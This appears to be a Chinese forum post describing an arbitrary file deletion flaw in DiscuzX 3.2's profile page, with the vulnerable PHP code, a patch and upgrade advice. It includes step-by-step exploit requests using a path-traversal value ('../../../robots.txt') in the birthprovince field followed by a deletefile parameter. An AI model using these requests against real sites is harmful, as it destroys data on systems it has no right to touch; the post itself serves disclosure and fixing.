漏洞实际上是任意文件删除,但是由于删除的函数容易被定位,所以不方便写在简要描述或标题内。
昨天下载DiscuzX 3.2的代码,在
source/include/spacecp/spacecp_profile.php 中找到以下代码:- if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
- foreach($_GET['deletefile'] as $key => $value) {
- if(isset($_G['cache']['profilesetting'][$key])) {
- @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
- $verifyarr[$key] = $setarr[$key] = '';
- }
- }
- }
复制代码 往上跟发现$_GET['deletefile']没有任何处理,$space[$key]来自- $space = getuserbyuid($_G['uid']);
- space_merge($space, 'field_home');
- space_merge($space, 'profile');
复制代码 所以我们需要在$space变量中找到一个存在需要被删除的文件的位置,我用的字段是birthprovince
我们第一次在birthprovince里加上我们要删除的文件然后保存资料,下次我们提交$_GET['deletefile'][birthprovince],那么$space[birthprovince]指向的文件就会被删除。
也就是说,我们提交birthprovince为../../../robots.txt
保存完之后,数据库里的$space['birthprovice']会成为../../../robots.txt,当我们提交$_GET['deletefile'][birthprovince]的时候,会去删除$space['birthprovice']指向的文件。
操作步骤:
那么登陆后提交:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
注意,85cf7ef0是你的formhash。
https://www.discuz.1314study.com/home.php?mod=spacecp&ac=profile&op=base
提示保存成功
这个时候你的birthprovince就是../../../robots.txt,产生的$space['birthprovince']就是../../../robots.txt了。
接下来我们来进行参数的操作,提交:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
到
https://www.discuz.1314study.com/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa
OK,文件就被顺利删除了。
修复方案:检查下deletefile指向的key是不是自定义字段里允许FILES的字段。 打开:source\include\spacecp\spacecp_profile.php找到:
- foreach($_GET['deletefile'] as $key => $value) {
复制代码
把他下面一行的- if(isset($_G['cache']['profilesetting'][$key])) {
复制代码 修改为- if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
复制代码
DiscuzX 3.2用户可以直接升级到Discuz! X3.2 正式版【2014-06-18】,或者更高版本 |